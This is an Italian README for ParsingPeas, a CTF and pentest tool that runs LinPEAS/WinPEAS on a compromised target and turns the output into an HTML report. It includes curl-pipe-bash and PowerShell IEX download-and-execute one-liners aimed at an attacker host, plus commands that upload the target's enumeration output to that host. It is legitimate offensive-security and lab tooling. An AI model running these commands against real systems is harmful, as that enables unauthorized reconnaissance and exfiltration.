ParsingPeas 🥒

Raccolta automatizzata di PEASS + un report HTML pulito e portatile per lavoro di escalation dei privilegi in CTF e laboratori.

Esegui un comando sul target. ParsingPeas recupera LinPEAS/WinPEAS dal tuo host Kali, esegue la scansione, rimanda indietro l'output e lo trasforma in un singolo report HTML autonomo che puoi leggere, cercare, vagliare e conservare — niente trasferimento manuale di file, niente internet sul target.

Screenshot

Riepilogo report — sezioni raggruppate per le categorie di LinPEAS, con pallini di rilevamento e una barra dei risultati:

Solo risultati — un clic filtra il report e la barra laterale mostrando solo le sezioni con elementi critici/alti:

Output terminale completo — la scansione completa, fedelmente colorata; ricercabile con Ctrl-F:

Perché

L'output grezzo di PEASS è un muro di testo scorrevole nel terminale che scompare nel momento in cui la tua shell muore. ParsingPeas:

• Automatizza il lavoro manuale — niente scp, niente hosting di linpeas da te, niente copia-incolla dell'output di nuovo su Kali.
• Lo salva — ogni scansione diventa un report HTML con timestamp sul tuo host.
• Lo rende navigabile — l'output è suddiviso nelle vere sezioni di LinPEAS con una barra laterale categorizzata, evidenziazioni dei risultati e ricerca full-text.
• Viaggia bene — ogni report è un singolo file .html autonomo che puoi copiare dalla macchina, archiviare o aprire offline facendo doppio clic.

È presentazione + logistica, non un motore di exploit: conserva fedelmente la colorazione e i risultati di PEASS invece di cercare di interpretarli.

Caratteristiche

• Flusso di lavoro con una riga — il target scarica il wrapper dal tuo host, esegue PEASS e invia automaticamente il risultato tramite POST.
• Funziona offline sul target — tutto è servito dal tuo host Kali.
• Analisi fedele delle sezioni — segue la reale gerarchia di intestazioni a due livelli di LinPEAS (sezioni principali + sotto-controlli); i link di hacktricks e le righe di controllo rimangono come contenuto senza inquinare l'indice.
• Report autonomi — l'output del terminale è incorporato inline; un file, nessun file accessorio, si apre tramite file://.
• Vista interattiva del report:
  • Indice nella barra laterale raggruppato per sezioni di PEASS, con conteggi critici/alti.
  • Barra dei risultati — chip N critici / N alti che saltano tra le sezioni contrassegnate, più una legenda dei colori.
  • Filtro solo risultati per un rapido triage.
  • Toggle interruzione di riga (attivo di default — niente più righe troncate).
  • Scrollspy — sezione corrente evidenziata nell'indice mentre scorri.
  • Intestazioni di sezione sticky e pallini "segna come letto" che persistono (localStorage, per report).
  • Badge nell'intestazione per l'utente corrente (rosso se root) e sistema operativo.
• Scheda Output Terminale Completo — la scansione completa, interamente colorata, renderizzata in un'unica passata in modo che la Ctrl-F del browser cerchi in tutto.
• Tema scuro attenuato — facile per gli occhi in sessioni lunghe.
• Linux e Windows — LinPEAS (bash) e WinPEAS (PowerShell).

Avvio rapido

Sul tuo host Kali

git clone https://github.com/YuvalMil/ParsingPeas.git
cd ParsingPeas
./setup.sh                      # scarica LinPEAS + WinPEAS in scripts/
pip3 install -r requirements.txt
python3 receiver.py             # serve su http://0.0.0.0:8005

Lascia receiver.py in esecuzione. Trova l'IP tramite cui il target ti raggiungerà:

• HTB / VPN: il tuo indirizzo tun0 — ip -4 addr show tun0
• LAN: il normale IP della tua interfaccia

Sul target

Linux/Unix (usa curl, fallback su wget):

curl -sSL http://YOUR_KALI_IP:8005/get-script | bash

Windows (PowerShell / reverse shell):

powershell -ExecutionPolicy Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://YOUR_KALI_IP:8005/get-script.ps1')"

Scegli la riga singola corrispondente al sistema operativo del target — Linux serve LinPEAS, Windows serve WinPEAS.

Visualizza il report

I report vengono generati sul tuo host Kali in ./reports/. Puoi:

• Sfogliare l'indice su http://YOUR_KALI_IP:8005 e fare clic su un report, oppure
• Aprire direttamente il file generato — è autonomo:
  root@kitploit:~

  xdg-open ./reports/report_<host>_<timestamp>.html
  

Copia quel singolo .html dove vuoi; funziona da solo.

Come funziona

Target → scarica il wrapper da Kali → esegue PEASS → invia output tramite POST → Kali analizza → report HTML autonomo

Il target non ha mai bisogno di internet — il wrapper e i binari di PEASS sono tutti serviti dal tuo host.

Utilizzo del report

• Scheda Riepilogo Report — sezioni raggruppate per categoria PEASS nella barra laterale. Pallini rossi/gialli segnano le sezioni con risultati critici/alti. Usa i chip Risultati per saltare direttamente a essi, oppure Solo risultati per nascondere tutto il resto.
• Scheda Output Terminale Completo — la scansione colorata completa. Basta premere Ctrl-F per cercare; l'intero output è renderizzato, quindi la ricerca nativa copre tutto.
• Clicca su un pallino di rilevamento per segna sezione come letta — rimane letto quando riapri il report.

Uso manuale

Se la riga singola fallisce, fallo manualmente.

Linux:

# Sul target
curl http://KALI_IP:8005/get-linpeas -o /tmp/lp.sh
chmod +x /tmp/lp.sh
/tmp/lp.sh > /tmp/out.txt
# Invia indietro
curl -X POST -H "X-Hostname: $(hostname)" -H "X-Scan-Type: linpeas" \
  --data-binary @/tmp/out.txt http://KALI_IP:8005/upload

Windows (PowerShell):

Invoke-WebRequest -Uri http://KALI_IP:8005/get-winpeas -OutFile $env:TEMP\wp.exe
& "$env:TEMP\wp.exe" > $env:TEMP\out.txt
Invoke-WebRequest -Uri http://KALI_IP:8005/upload -Method POST `
  -Headers @{"X-Hostname"=$env:COMPUTERNAME; "X-Scan-Type"="winpeas"} `
  -InFile $env:TEMP\out.txt

Analizza un dump PEASS che hai già:

python3 parser.py /path/to/peas_output.txt   # scrive un report HTML in ./reports/

Configurazione

Modifica l'inizio di receiver.py:

Risoluzione dei problemi

• Impossibile scaricare lo script? curl http://KALI_IP:8005/health per verificare la connettività; apri il firewall con sudo ufw allow 8005/tcp.
• 404 su /get-linpeas? Esegui ./setup.sh per recuperare i binari PEASS.
• Nessun output live in una reverse shell PowerShell? Previsto — la scansione viene comunque eseguita; controlla il tuo receiver per la conferma del caricamento.

Sicurezza

⚠️ Solo per test di penetrazione autorizzati, CTF e uso in laboratorio.

• Nessuna autenticazione — eseguilo solo su reti isolate/CTF, dietro un firewall.
• I valori delle intestazioni di upload sono sanificati e gli upload sono limitati per dimensione, ma il server non è indurito per esposizione internet ostile.

Crediti

Costruito su PEASS-ng di @carlospolop. ParsingPeas si limita a raccogliere e presentare il suo output.

Licenza MIT · Contributi benvenuti